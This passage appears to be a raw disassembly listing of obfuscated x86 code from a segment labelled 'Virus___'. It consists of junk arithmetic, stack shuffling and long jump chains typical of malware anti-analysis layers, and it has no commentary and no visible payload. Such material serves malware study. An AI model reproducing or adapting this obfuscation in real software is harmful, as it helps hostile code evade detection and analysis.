jmp loc_560178 ; --------------------------------------------------------------------------- loc_5606E5: ; CODE XREF: Virus___:00559FE4j mov ebp, 4 add edi, ebp mov ebp, [esp] push esi mov esi, esp add esi, 4 jmp loc_561D30 ; --------------------------------------------------------------------------- loc_5606FD: ; CODE XREF: Virus___:0055ACA3j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_56248F ; --------------------------------------------------------------------------- loc_56071A: ; CODE XREF: Virus___:0055BD5Bj push edi mov edi, 5C18733Eh jmp loc_5598DE ; --------------------------------------------------------------------------- loc_560725: ; CODE XREF: Virus___:0055C32Ej mov [esp], edi mov edi, 42AA21DCh shl edi, 6 shr edi, 8 or edi, 4A6867CEh jmp loc_55B28C ; --------------------------------------------------------------------------- loc_56073E: ; CODE XREF: Virus___:0056226Cj mov esp, [esp] push 2000h mov [esp], ebx jmp loc_5554CB ; --------------------------------------------------------------------------- loc_56074E: ; CODE XREF: Virus___:00556FBBj mov eax, 75EC6B54h and eax, 723F391Bh push ecx mov ecx, 4A2F4F8Dh jmp loc_560D8A ; --------------------------------------------------------------------------- loc_560763: ; CODE XREF: Virus___:0055AE9Cj and ebp, ebx push dword ptr [esp] jmp loc_554BE9 ; --------------------------------------------------------------------------- loc_56076D: ; CODE XREF: Virus___:005582CBj add al, cl add al, 0F1h jmp loc_552D37 ; --------------------------------------------------------------------------- loc_560776: ; CODE XREF: Virus___:00562607j pop esp mov [esp], edx jmp loc_55C6FA ; --------------------------------------------------------------------------- loc_56077F: ; CODE XREF: Virus___:0055A08Dj xor eax, esi jmp loc_54FEE5 ; --------------------------------------------------------------------------- loc_560786: ; CODE XREF: Virus___:00553FC7j add ecx, eax mov eax, [esp] jmp loc_561D9D ; --------------------------------------------------------------------------- loc_560790: ; CODE XREF: Virus___:005503F7j add edx, 4 xchg edx, [esp] pop esp push 51DFh jmp loc_556F2C ; --------------------------------------------------------------------------- loc_5607A1: ; CODE XREF: Virus___:0055F052j xchg esi, [esp] pop esp jmp loc_554008 ; --------------------------------------------------------------------------- loc_5607AA: ; CODE XREF: Virus___:0056123Dj add esp, 4 pop dword ptr [esp] mov esp, [esp] shr ecx, 7 push 351Ch mov [esp], ebx sub dword ptr [esp], 0F672D5Fh push dword ptr [esp] pop eax jmp loc_5559BA ; --------------------------------------------------------------------------- loc_5607CE: ; CODE XREF: Virus___:00562D32j xchg edx, [esp] pop esp jmp loc_561669 ; --------------------------------------------------------------------------- loc_5607D7: ; CODE XREF: Virus___:0055A85Cj sub eax, edi sub eax, 505E24FAh pop edi add ebp, 16940D56h push 28Bh mov [esp], ecx mov ecx, 6FB57ADEh neg ecx sub ecx, 6C370C4Dh jmp loc_55A3BC ; --------------------------------------------------------------------------- loc_5607FF: ; CODE XREF: Virus___:005567A0j shl cl, 8 add cl, 93h add cl, 0CFh sub cl, 7Fh xor cl, 37h add bl, 87h add bl, 3Dh jmp loc_55C1D6 ; --------------------------------------------------------------------------- loc_560819: ; CODE XREF: Virus___:005559DDj shr dh, 4 jmp loc_55DC7F ; --------------------------------------------------------------------------- loc_560821: ; CODE XREF: Virus___:00554B7Aj mov [esp], cx jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_56082A: ; CODE XREF: Virus___:005526D6j sub dword ptr [esp+4], 5B5E7712h sub [esp+4], ebx sub esp, 4 jmp loc_55E2C1 ; --------------------------------------------------------------------------- loc_56083E: ; CODE XREF: Virus___:00557025j mov eax, [esp] jmp loc_5637BE ; --------------------------------------------------------------------------- loc_560846: ; CODE XREF: Virus___:005610FBj push ebx push ebp jmp loc_55C285 ; --------------------------------------------------------------------------- loc_56084D: ; CODE XREF: Virus___:005600A2j shl eax, 5 or eax, 1F6C3DF9h neg eax jmp loc_56164A ; --------------------------------------------------------------------------- loc_56085C: ; CODE XREF: Virus___:005574DAj dec ebx push esi mov esi, 3B52739Eh shr esi, 3 xor esi, 68B30994h jmp loc_5645C0 ; --------------------------------------------------------------------------- loc_560871: ; CODE XREF: Virus___:0055C83Ej add esp, 4 push ebp push ecx mov ecx, 4E2C0BE9h sub [esp+4], ecx pop ecx mov edx, [esp] jmp loc_553C48 ; --------------------------------------------------------------------------- loc_560888: ; CODE XREF: Virus___:00552CF0j shl edi, 6 sub edi, 6A7C3B9Bh sub edi, 94815E5Bh jmp loc_559D70 ; --------------------------------------------------------------------------- loc_56089C: ; CODE XREF: Virus___:00558C8Fj mov [esp], esi jmp loc_551867 ; --------------------------------------------------------------------------- loc_5608A4: ; CODE XREF: Virus___:00555577j pop esp jmp loc_561FDF ; --------------------------------------------------------------------------- loc_5608AA: ; CODE XREF: Virus___:0055710Bj xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edi push esi mov esi, esp add esi, 4 push edi push edx mov edx, 4 mov edi, edx pop edx sub esi, edi jmp loc_54FACA ; --------------------------------------------------------------------------- loc_5608D0: ; CODE XREF: Virus___:00554F6Cj xor eax, 0EE91F65h push edx jmp loc_561378 ; --------------------------------------------------------------------------- loc_5608DB: ; CODE XREF: Virus___:00563634j pop eax add ebp, 1 jmp loc_55EEA7 ; --------------------------------------------------------------------------- loc_5608E7: ; CODE XREF: Virus___:0055E59Fj pop eax pop ebx jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5608EE: ; CODE XREF: Virus___:0054FB45j pop ebx push 1D38h jmp loc_553928 ; --------------------------------------------------------------------------- loc_5608F9: ; CODE XREF: Virus___:005625CEj mov bx, [esp] add esp, 2 shl ch, 1 push eax mov al, 3Eh xor ch, al push dword ptr [esp] pop eax add esp, 4 xor al, ch pop ecx sub esp, 4 jmp loc_55EFD0 ; --------------------------------------------------------------------------- loc_560922: ; CODE XREF: Virus___:0055CB20j sub esp, 4 mov [esp], esi jmp loc_5536DF ; --------------------------------------------------------------------------- loc_56092D: ; CODE XREF: Virus___:0055586Dj mov bl, 0B6h mov al, bl pop ebx dec al jmp loc_55EA8D ; --------------------------------------------------------------------------- loc_560939: ; CODE XREF: Virus___:0055EAB8j add ebp, ecx pop ecx push edx push edi mov edi, 418480Ch jmp loc_564A27 ; --------------------------------------------------------------------------- loc_560948: ; CODE XREF: Virus___:0055EDEDj sub ch, bl pop ebx and dl, ch push dword ptr [esp] pop ecx add esp, 4 add dl, 78h shl dl, 6 jmp loc_55B70F ; --------------------------------------------------------------------------- loc_56095F: ; CODE XREF: Virus___:00555E8Cj sub ecx, 582242D5h mov eax, ecx pop ecx sub edi, 35C041B1h jmp loc_55BB9C ; --------------------------------------------------------------------------- loc_560973: ; CODE XREF: Virus___:00562DFCj mov [esp], edx jmp loc_561D08 ; --------------------------------------------------------------------------- loc_56097B: ; CODE XREF: Virus___:00556DC1j pop ecx inc ecx dec ecx push edi jmp loc_55EF4C ; --------------------------------------------------------------------------- loc_560984: ; CODE XREF: Virus___:00564038j push 2FAD7007h pop ecx jmp loc_55FAA9 ; --------------------------------------------------------------------------- loc_56098F: ; CODE XREF: Virus___:005526A4j add esp, 4 add ch, dh pop edx shr ch, 1 push ebx mov bl, 34h xor ch, bl pop ebx xor al, ch push dword ptr [esp] jmp loc_55F43D ; --------------------------------------------------------------------------- loc_5609A7: ; CODE XREF: Virus___:0056295Aj sub bl, 0F4h add bl, al push ax jmp loc_5584D6 ; --------------------------------------------------------------------------- loc_5609B3: ; CODE XREF: Virus___:0055853Fj and ebp, 11440722h add ebp, 0FEBBF902h add edi, ebp pop ebp push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_54FA46 ; --------------------------------------------------------------------------- loc_5609D1: ; CODE XREF: Virus___:0055CD0Ej xor edi, 4D224DFCh jmp loc_5534BE ; --------------------------------------------------------------------------- loc_5609DC: ; CODE XREF: Virus___:0056132Aj and eax, esi push dword ptr [esp] pop esi add esp, 4 shr eax, 0Bh xor ecx, eax sub esp, 4 mov [esp], edx jmp loc_55CF96 ; --------------------------------------------------------------------------- loc_5609F8: ; CODE XREF: Virus___:0055E325j pop dword ptr [esp] pop esp mov [esp], edi push 271Dh mov [esp], edi mov edi, 7FFD2E39h add dword ptr [esp+4], 13974B67h jmp loc_552799 ; --------------------------------------------------------------------------- loc_560A19: ; CODE XREF: Virus___:0054FA19j not bl xor bl, 62h and dl, bl pop ebx push ecx mov ch, 0E2h sub dl, 0D3h add dl, ch add dl, 0D3h jmp loc_552E85 ; --------------------------------------------------------------------------- loc_560A31: ; CODE XREF: Virus___:00553B64j xor ah, 76h add bl, ah mov eax, [esp] jmp loc_554600 ; --------------------------------------------------------------------------- push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 jmp loc_562893 ; --------------------------------------------------------------------------- loc_560A58: ; CODE XREF: Virus___:005628E8j mov ebx, 465A2047h jmp loc_5596AB ; --------------------------------------------------------------------------- loc_560A62: ; CODE XREF: Virus___:0055BEF3j pop esi add ebp, 3EE75B1Dh add ebp, 56AE0AACh push ebp not dword ptr [esp] pop ebp xor ebp, 313FCBADh sub ebp, 22D531E1h push eax mov eax, 40DA212Ah xor ebp, eax jmp loc_551FB1 ; --------------------------------------------------------------------------- loc_560A8D: ; CODE XREF: Virus___:0055C6CFj push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_55C4E7 ; --------------------------------------------------------------------------- loc_560A9F: ; CODE XREF: Virus___:00558FFEj mov esi, 1A5B518Eh jmp loc_54FAF8 ; --------------------------------------------------------------------------- loc_560AA9: ; CODE XREF: Virus___:00561A65j push edi jmp loc_55E6DB ; --------------------------------------------------------------------------- loc_560AAF: ; CODE XREF: Virus___:0055807Cj push ecx pop eax jmp loc_5504CC ; --------------------------------------------------------------------------- loc_560AB6: ; CODE XREF: Virus___:005551FCj add eax, 20284C20h add ecx, eax mov eax, [esp] jmp loc_55D106 ; --------------------------------------------------------------------------- loc_560AC5: ; CODE XREF: Virus___:00551D6Cj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add esp, 4 sub [edi+20h], ebp push dword ptr [esp] pop ebp push 0B89h mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_558C67 ; --------------------------------------------------------------------------- loc_560AFF: ; CODE XREF: Virus___:00557EF9j sub edx, 1067F1E2h and ebp, edx pop edx jmp loc_55EFD8 ; --------------------------------------------------------------------------- loc_560B0D: ; CODE XREF: Virus___:0055C0C4j mov dl, bh mov ebx, [esp] add esp, 4 jmp loc_55A898 ; --------------------------------------------------------------------------- loc_560B1A: ; CODE XREF: Virus___:00557360j push edx jmp loc_55E9D7 ; --------------------------------------------------------------------------- loc_560B20: ; CODE XREF: Virus___:00559EC2j add esi, 4 xchg esi, [esp] jmp loc_55E815 ; --------------------------------------------------------------------------- loc_560B2E: ; CODE XREF: Virus___:00553CCEj add esp, 4 add ebx, eax jmp loc_55A1B0 ; --------------------------------------------------------------------------- lodsd push edx jmp loc_55C843 ; --------------------------------------------------------------------------- loc_560B42: ; CODE XREF: Virus___:005519CDj push dword ptr [esp] pop esi push 5EE5h mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_563FDF ; --------------------------------------------------------------------------- loc_560B5B: ; CODE XREF: Virus___:0056163Bj sub ebx, 7D956983h jmp loc_55B25E ; --------------------------------------------------------------------------- loc_560B66: ; CODE XREF: Virus___:0055493Dj add esp, 4 push 38D0h mov [esp], edx push esp pop edx jmp loc_55C022 ; --------------------------------------------------------------------------- loc_560B7B: ; CODE XREF: Virus___:00561C14j dec esi xchg eax, esi shl eax, 6 add eax, 8E6FDB04h jmp loc_556BEB ; --------------------------------------------------------------------------- loc_560B8A: ; CODE XREF: Virus___:0055EDC8j add edx, 530A7F95h push esi push ecx jmp loc_562D6E ; --------------------------------------------------------------------------- loc_560B97: ; CODE XREF: Virus___:00554D25j xor ebx, 52E92D14h shl ebx, 1 xor ebx, 6861914Eh or eax, ebx pop ebx xor eax, 6A1C3841h mov edi, eax pop eax add edi, 4E90123Eh push eax mov eax, 1617239Ah sub edi, 3CA86C51h jmp loc_558D05 ; --------------------------------------------------------------------------- loc_560BC7: ; CODE XREF: Virus___:00552074j add esp, 2 push edx mov dl, 6Bh sub al, dl pop edx add al, 0E3h add al, bl sub al, 0E3h add al, 6Bh push ecx mov ch, 1Eh dec ch sub ch, 0BAh sub al, 0Fh sub al, ch jmp loc_564125 ; --------------------------------------------------------------------------- loc_560BEC: ; CODE XREF: Virus___:00555DB7j pop eax xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx jmp loc_557BCD ; --------------------------------------------------------------------------- loc_560BFE: ; CODE XREF: Virus___:005644AFj xor ebx, [esp] jmp loc_5512C0 ; --------------------------------------------------------------------------- loc_560C06: ; CODE XREF: Virus___:00552DFBj push ebp mov ebp, esp add ebp, 4 jmp loc_55C4CA ; --------------------------------------------------------------------------- loc_560C14: ; CODE XREF: Virus___:005604FCj sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp sub esp, 4 jmp loc_55158D ; --------------------------------------------------------------------------- loc_560C28: ; CODE XREF: Virus___:00555EA6j xchg esi, [esp] pop esp or [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_560C36: ; CODE XREF: Virus___:0055F3BDj add esi, 41CF56DEh jmp loc_55C7F3 ; --------------------------------------------------------------------------- loc_560C41: ; CODE XREF: Virus___:0055D2CBj mov ebp, esp jmp loc_550713 ; --------------------------------------------------------------------------- loc_560C48: ; CODE XREF: Virus___:00550AF9j push edi push 496222BAh jmp loc_5549F0 ; --------------------------------------------------------------------------- loc_560C53: ; CODE XREF: Virus___:00564205j push 1ADFh mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] jmp loc_54FE32 ; --------------------------------------------------------------------------- loc_560C6A: ; CODE XREF: Virus___:005551AAj shr eax, 5 dec eax shr eax, 5 sub eax, 829D3EAFh and edi, eax pop eax xchg ebx, edi inc ebx xchg ebx, edi jmp loc_56246A ; --------------------------------------------------------------------------- loc_560C83: ; CODE XREF: Virus___:0055B70Aj mov edi, esp sub esp, 4 mov [esp], eax mov eax, 4 sub edi, 5C016E3Eh add edi, 0F1367B1h jmp loc_55AB52 ; --------------------------------------------------------------------------- loc_560CA4: ; CODE XREF: Virus___:00562187j add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_55D071 ; --------------------------------------------------------------------------- loc_560CB3: ; CODE XREF: Virus___:0055F835j add esp, 4 sub [edi+20h], edx mov edx, [esp] add esp, 4 loc_560CC2: ; CODE XREF: Virus___:0055062Cj ; Virus___:0055E715j mov ebx, [esp] push edi mov edi, esp push ebp mov ebp, esp jmp loc_55AD37 ; --------------------------------------------------------------------------- loc_560CD0: ; CODE XREF: Virus___:0055DD5Bj sub ecx, 61D27BFh push esi push ecx pop esi mov edx, esi pop esi mov ecx, [esp] jmp loc_55C605 ; --------------------------------------------------------------------------- loc_560CE4: ; CODE XREF: Virus___:00556FEBj sub esi, 13F006E6h sub esi, 67F24738h jmp loc_5531D0 ; --------------------------------------------------------------------------- loc_560CF5: ; CODE XREF: Virus___:00558908j sub eax, ebp pop ebp push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push edx jmp loc_554B97 ; --------------------------------------------------------------------------- loc_560D0D: ; CODE XREF: Virus___:0055C493j mov ecx, esp push esi push ebx mov ebx, 4 mov esi, ebx jmp loc_560DA9 ; --------------------------------------------------------------------------- loc_560D1D: ; CODE XREF: Virus___:0056297Fj pop edx mov eax, edx pop edx push ecx mov ecx, 7282357Ah jmp loc_55B386 ; --------------------------------------------------------------------------- loc_560D2C: ; CODE XREF: Virus___:00557E7Ej mov edx, esp add edx, 4 jmp loc_559613 ; --------------------------------------------------------------------------- loc_560D39: ; CODE XREF: Virus___:00551366j xor [esp], edi jmp loc_556C38 ; --------------------------------------------------------------------------- loc_560D41: ; CODE XREF: Virus___:00558724j mov ecx, 3ABB0886h push edi mov edi, 14CEDB84h sub ecx, edi jmp loc_563692 ; --------------------------------------------------------------------------- loc_560D53: ; CODE XREF: Virus___:0055F59Bj sub bl, ch add bl, 0CDh add bl, 0CDh pop ecx add bl, 15h jmp loc_56308B ; --------------------------------------------------------------------------- loc_560D64: ; CODE XREF: Virus___:0055DE00j pop edx shl edx, 5 jmp loc_55BE96 ; --------------------------------------------------------------------------- loc_560D6D: ; CODE XREF: Virus___:0055EA88j push 99h jmp loc_55D079 ; --------------------------------------------------------------------------- loc_560D77: ; CODE XREF: Virus___:00560E3Ej shl edx, 1 not edx jmp loc_551E26 ; --------------------------------------------------------------------------- loc_560D80: ; CODE XREF: Virus___:0055428Bj push 840h jmp loc_550B24 ; --------------------------------------------------------------------------- loc_560D8A: ; CODE XREF: Virus___:0056075Ej neg ecx or ecx, 0FE438BBh shl ecx, 7 or ecx, 68E14462h add ecx, 0B46BA3CCh add eax, ecx pop ecx jmp loc_55AB81 ; --------------------------------------------------------------------------- loc_560DA9: ; CODE XREF: Virus___:00560D18j pop ebx add ecx, esi push dword ptr [esp] pop esi add esp, 4 push edx mov edx, 4 add ecx, edx mov edx, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] imul ecx push esi push 2B16h push 44CFh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push ebx push esi jmp loc_55E209 ; --------------------------------------------------------------------------- loc_560DEE: ; CODE XREF: Virus___:00561C7Aj sub ebp, 4 xchg ebp, [esp] jmp loc_557B3A ; --------------------------------------------------------------------------- loc_560DFC: ; CODE XREF: Virus___:00559CDFj push dword ptr [esp] push dword ptr [esp] pop esi push 208h mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_559587 ; --------------------------------------------------------------------------- loc_560E21: ; CODE XREF: Virus___:0055B02Cj pop edx jmp loc_559CC7 ; --------------------------------------------------------------------------- loc_560E27: ; CODE XREF: Virus___:0055174Aj and eax, 4DAE0955h add eax, 0FB77FFE4h add eax, 5C875F71h add eax, edi push edx mov edx, 1F1E3AA6h jmp loc_560D77 ; --------------------------------------------------------------------------- loc_560E43: ; CODE XREF: Virus___:0055B3C2j push edx push ebx push 2E6B29EAh pop ebx xor ebx, 14DF1FFCh jmp loc_55881D ; --------------------------------------------------------------------------- loc_560E56: ; CODE XREF: Virus___:005548EBj push edi mov edi, 2DAA46C4h jmp loc_56358E ; --------------------------------------------------------------------------- loc_560E61: ; CODE XREF: Virus___:00563474j xor [esp], edx xor edx, [esp] pop esp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx jmp loc_5604B7 ; --------------------------------------------------------------------------- loc_560E89: ; CODE XREF: Virus___:005593E6j mov ecx, 599F511Fh push ecx jmp loc_55D76A ; --------------------------------------------------------------------------- loc_560E94: ; CODE XREF: Virus___:00558E60j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_555D5D ; --------------------------------------------------------------------------- loc_560EA0: ; CODE XREF: Virus___:005579EFj push esp pop eax add eax, 4 push ebp mov ebp, 6E824896h push edx sub esp, 4 mov [esp], ebx mov ebx, 2C1F5889h shr ebx, 5 not ebx shr ebx, 4 sub ebx, 0FE9F054h mov edx, ebx pop ebx sub ebp, edx pop edx push edi jmp loc_553A1F ; --------------------------------------------------------------------------- loc_560ED3: ; CODE XREF: Virus___:00563D9Fj add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] pop esp push 511Ah mov [esp], ecx jmp loc_5569F8 ; --------------------------------------------------------------------------- loc_560EED: ; CODE XREF: Virus___:00558038j push ecx mov cl, 72h mov ah, cl mov ecx, [esp] jmp loc_55D828 ; --------------------------------------------------------------------------- loc_560EFA: ; CODE XREF: Virus___:0055B249j push ebx jmp loc_551043 ; --------------------------------------------------------------------------- loc_560F00: ; CODE XREF: Virus___:0056259Fj pop eax push ebx mov ebx, edx mov ecx, ebx jmp loc_5592E8 ; --------------------------------------------------------------------------- loc_560F0B: ; CODE XREF: Virus___:0055469Cj push edx mov edx, 900733h add ebp, edx pop edx pop esi push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edx, [esp] add esp, 4 jmp loc_557110 ; --------------------------------------------------------------------------- loc_560F3C: ; CODE XREF: Virus___:0055AD45j pop ebp pop dword ptr [esp] pop esp mov [esp], ebx jmp loc_55727D ; --------------------------------------------------------------------------- loc_560F49: ; CODE XREF: Virus___:0055634Bj sub dword ptr [esp+4], 23F83BA1h mov edx, [esp] add esp, 4 mov eax, [esp] jmp loc_559798 ; --------------------------------------------------------------------------- loc_560F5F: ; CODE XREF: Virus___:00560628j add edi, 384C5546h add edi, 0C77C1C44h add esi, edi mov edi, [esp] add esp, 4 push 6BD8h mov [esp], eax mov eax, 4 jmp loc_55F67C ; --------------------------------------------------------------------------- loc_560F88: ; CODE XREF: Virus___:00555BE8j mov [esp], ecx mov ecx, 5A4373FEh not ecx push 7DCDh mov [esp], esi mov esi, 19CC0424h dec esi shl esi, 6 jmp loc_558CC3 ; --------------------------------------------------------------------------- loc_560FA8: ; CODE XREF: Virus___:0056021Bj add ebx, ecx jmp loc_55D46D ; --------------------------------------------------------------------------- loc_560FAF: ; CODE XREF: Virus___:00550DC1j mov esp, [esp] push 3547h mov [esp], ebx jmp loc_56167D ; --------------------------------------------------------------------------- loc_560FBF: ; CODE XREF: Virus___:0055F633j sub edi, 78010B1Ah add edi, 2808281Eh jmp loc_554242 ; --------------------------------------------------------------------------- loc_560FD0: ; CODE XREF: Virus___:0055B01Ej add edx, 0EC5C420Ch and ebx, edx mov edx, [esp] jmp loc_5500E4 ; --------------------------------------------------------------------------- loc_560FE0: ; CODE XREF: Virus___:00562817j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax jmp loc_55B650 ; --------------------------------------------------------------------------- loc_560FFA: ; CODE XREF: Virus___:0055109Cj dec ebp xor ebp, 60B04D4h jmp loc_5508B7 ; --------------------------------------------------------------------------- loc_561006: ; CODE XREF: Virus___:005615ABj and ebp, edx pop edx xor ebp, 1D9A7621h mov esi, ebp mov ebp, [esp] add esp, 4 sub [esp+4], esi push dword ptr [esp] jmp loc_557320 ; --------------------------------------------------------------------------- loc_561023: ; CODE XREF: Virus___:0055286Dj mov esp, [esp] push 3913h mov [esp], edx push cx mov cl, 7Ch push ebx jmp loc_55D0FD ; --------------------------------------------------------------------------- loc_561038: ; CODE XREF: Virus___:00558A4Fj xor ebx, [esp] mov esp, [esp] mov [esp], ebx push esp push dword ptr [esp] pop ebx add esp, 4 push eax push 4 mov eax, [esp] jmp loc_55691A ; --------------------------------------------------------------------------- loc_561057: ; CODE XREF: Virus___:0054FDDEj xchg eax, edx not eax xchg eax, edx jmp loc_54F9C1 ; --------------------------------------------------------------------------- loc_561060: ; CODE XREF: Virus___:005590BBj mov bl, 8Bh sub bl, 1 shr bl, 3 shl bl, 7 jmp loc_5593EB ; --------------------------------------------------------------------------- loc_561070: ; CODE XREF: Virus___:00555E25j mov bl, 0DAh jmp loc_56140F ; --------------------------------------------------------------------------- loc_561077: ; CODE XREF: Virus___:0055747Cj sub [esp], edx jmp loc_55DF39 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_560411 ; --------------------------------------------------------------------------- loc_56108A: ; CODE XREF: Virus___:00559718j dec ebp jmp loc_55748C ; --------------------------------------------------------------------------- loc_561090: ; CODE XREF: Virus___:00563C6Aj mov edx, esp push edi mov edi, 9290B1Ch jmp loc_5513AB ; --------------------------------------------------------------------------- loc_56109D: ; CODE XREF: Virus___:0055B6CCj sub edi, 46B6A447h jmp loc_55BF18 ; --------------------------------------------------------------------------- loc_5610A8: ; CODE XREF: Virus___:0055D1F7j pop esi pop esi push ebx mov ebx, 5D9454C0h sub ebx, 210729C9h or ebx, 36DA6E00h push ecx push esi push 433F0697h pop esi not esi shr esi, 7 xor esi, 3E724B72h jmp loc_5536F5 ; --------------------------------------------------------------------------- loc_5610D4: ; CODE XREF: Virus___:005592AAj sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push ecx push ebx mov ebx, 0E62482Ah jmp loc_560846 ; --------------------------------------------------------------------------- loc_561100: ; CODE XREF: Virus___:00550BA1j mov edx, [esp] add esp, 4 push ecx mov ecx, 6A7C058Eh shr ecx, 1 sub ecx, 0EB9AF5CEh and ebp, ecx pop ecx sub esp, 4 mov [esp], edx push 799Bh mov [esp], edi mov edi, 0FFFFFFFFh push edi sub dword ptr [esp], 24AD2C27h pop edx add edx, 24AD2C27h pop edi add ebp, 34E57016h sub ebp, edx sub ebp, 34E57016h mov edx, [esp] add esp, 4 push 1479h jmp loc_5627E8 ; --------------------------------------------------------------------------- loc_56115B: ; CODE XREF: Virus___:00550A76j push bx xor word ptr [esp], 269Fh jmp loc_5601F6 ; --------------------------------------------------------------------------- loc_561168: ; CODE XREF: Virus___:005584B9j dec al jmp loc_54FDC4 ; --------------------------------------------------------------------------- loc_56116F: ; CODE XREF: Virus___:0055173Fj mov eax, 73452B52h and eax, 0B844AA9h push esi jmp loc_55F397 ; --------------------------------------------------------------------------- loc_56117F: ; CODE XREF: Virus___:005512E9j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push eax jmp loc_550DCC ; --------------------------------------------------------------------------- loc_561192: ; CODE XREF: Virus___:0055A2C3j sub esp, 4 mov [esp], esi push ecx jmp loc_55C947 ; --------------------------------------------------------------------------- loc_5611A1: ; CODE XREF: Virus___:0056319Fj push 0 pop edi sub edi, ecx xchg edi, ecx mov edi, [esp] add esp, 4 push edi mov edi, 36322CBCh add edi, 0FFFFFFFFh not edi push eax mov eax, 57E80C1Eh jmp loc_55BD17 ; --------------------------------------------------------------------------- loc_5611C7: ; CODE XREF: Virus___:00550586j mov bh, 6Ah dec bh shr bh, 8 jmp loc_563139 ; --------------------------------------------------------------------------- loc_5611D3: ; CODE XREF: Virus___:005528C0j push eax mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 xor ebp, [esp] jmp loc_560133 ; --------------------------------------------------------------------------- loc_5611EC: ; CODE XREF: Virus___:005517F7j ; Virus___:0056428Bj push 3442h mov [esp], eax jmp loc_561973 ; --------------------------------------------------------------------------- loc_5611F9: ; CODE XREF: Virus___:00558668j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_553AF0 ; --------------------------------------------------------------------------- loc_56120E: ; CODE XREF: Virus___:00562137j or esi, ebx pop ebx and esi, 205B4D0Fh add esi, 1 add esi, 0DFA4FBF4h mov edi, esi pop esi sub esi, 2ECD2887h add esi, edi add esi, 2ECD2887h pop edi push esi push dword ptr [esp+4] mov esi, [esp] jmp loc_5607AA ; --------------------------------------------------------------------------- loc_561242: ; CODE XREF: Virus___:00550CE2j add esi, 49E61183h jmp loc_559263 ; --------------------------------------------------------------------------- loc_56124D: ; CODE XREF: Virus___:00551543j mov edi, [esp] add esp, 4 push 7388h mov [esp], eax mov eax, 4 add esi, 7CC4340Eh add esi, eax push edi mov edi, 7CC4340Eh jmp loc_55AA3E ; --------------------------------------------------------------------------- loc_561273: ; CODE XREF: Virus___:0055D537j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_557CE7 ; --------------------------------------------------------------------------- loc_561287: ; CODE XREF: Virus___:00550880j mov ebx, 4 add edx, 1D691713h sub edx, ebx sub edx, 1D691713h pop ebx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], edi push esp pop edi add edi, 4 sub edi, 4 xor edi, [esp] jmp loc_5575E8 ; --------------------------------------------------------------------------- loc_5612BE: ; CODE XREF: Virus___:0056193Aj pop esi push 72A4h mov [esp], esi push esp mov esi, [esp] add esp, 4 jmp loc_55B3C7 ; --------------------------------------------------------------------------- mov cx, [esp] push esi mov esi, esp push esi mov esi, esp push ebx push 40D7h mov [esp], esi push 1346E34h jmp loc_556FC0 ; --------------------------------------------------------------------------- loc_5612F0: ; CODE XREF: Virus___:00563066j add esp, 2 sub esp, 4 mov [esp], ebx jmp loc_552570 ; --------------------------------------------------------------------------- loc_5612FE: ; CODE XREF: Virus___:00553D8Fj push esi push 63E61F6h pop esi and esi, 134E22F7h and esi, 7D3B7FAEh neg esi xor esi, 0F14CCC74h sub ebp, esi pop esi jmp loc_55D61B ; --------------------------------------------------------------------------- loc_561321: ; CODE XREF: Virus___:0055EC6Dj xor ecx, 8602317Ch xor esi, ecx pop ecx jmp loc_5609DC ; --------------------------------------------------------------------------- loc_56132F: ; CODE XREF: Virus___:0055C376j push eax mov ah, 0C7h sub cl, ah mov eax, [esp] add esp, 4 xor ah, cl mov ecx, [esp] add esp, 4 and ah, 0ACh add ah, 8Fh add bl, ah mov ax, [esp] add esp, 2 shl bl, 8 push 1E45h mov [esp], edx jmp loc_55A8A5 ; --------------------------------------------------------------------------- loc_561364: ; CODE XREF: Virus___:00550CAFj add [esp+4], ebp jmp loc_55F46E ; --------------------------------------------------------------------------- loc_56136D: ; CODE XREF: Virus___:00564732j sub esp, 4 mov [esp], edx jmp loc_555373 ; --------------------------------------------------------------------------- loc_561378: ; CODE XREF: Virus___:005608D6j mov edx, 4F4B6EE5h and eax, edx pop edx jmp loc_5648B3 ; --------------------------------------------------------------------------- loc_561385: ; CODE XREF: Virus___:00559767j mov eax, [esp] add esp, 4 xchg edi, [esp] pop esp jmp loc_55B2B3 ; --------------------------------------------------------------------------- loc_561394: ; CODE XREF: Virus___:0056196Ej mov edi, esi pop esi shr edi, 8 xor edi, offset dword_56C514 sub ecx, edi pop edi xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_552E8D ; --------------------------------------------------------------------------- 